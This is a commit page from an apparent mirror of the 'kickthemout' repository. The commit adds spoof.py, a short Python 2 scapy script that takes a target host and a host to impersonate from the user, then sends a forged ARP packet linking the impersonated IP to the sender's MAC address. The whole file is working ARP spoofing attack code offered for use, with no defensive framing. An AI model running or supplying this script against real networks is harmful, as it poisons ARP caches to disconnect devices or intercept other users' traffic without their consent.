mirror of
https://github.com/k4m4/kickthemout.git
synced 2024-11-25 14:34:23 +01:00
Update spoof.py
This commit is contained in:
parent
cafa691850
commit
10f3d4d99b
23
spoof.py
23
spoof.py
@ -1 +1,24 @@
|
||||
import scapy
|
||||
|
||||
from scapy.all import *
|
||||
|
||||
# GET MAC ADDRESS
|
||||
def get_mac_address():
|
||||
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
|
||||
for mac in my_macs:
|
||||
if(mac != "00:00:00:00:00:00"):
|
||||
return mac
|
||||
my_mac = get_mac_address()
|
||||
if not my_mac:
|
||||
print "Cant get local mac address, quitting"
|
||||
sys.exit(1)
|
||||
|
||||
# REQUEST Host_Target & Host_Impersonation
|
||||
|
||||
target = raw_input("Enter host target: ")
|
||||
impersonation = raw_input("Enter host to impersonate: ")
|
||||
|
||||
# CRAFT & SEND PACKET
|
||||
|
||||
packet = Ether()/ARP(op="who-has", hwsrc=my_mac, psrc=impersonation, pdst=target)
|
||||
sendp(packet)
|
||||
|
Loading…
Reference in New Issue
Block a user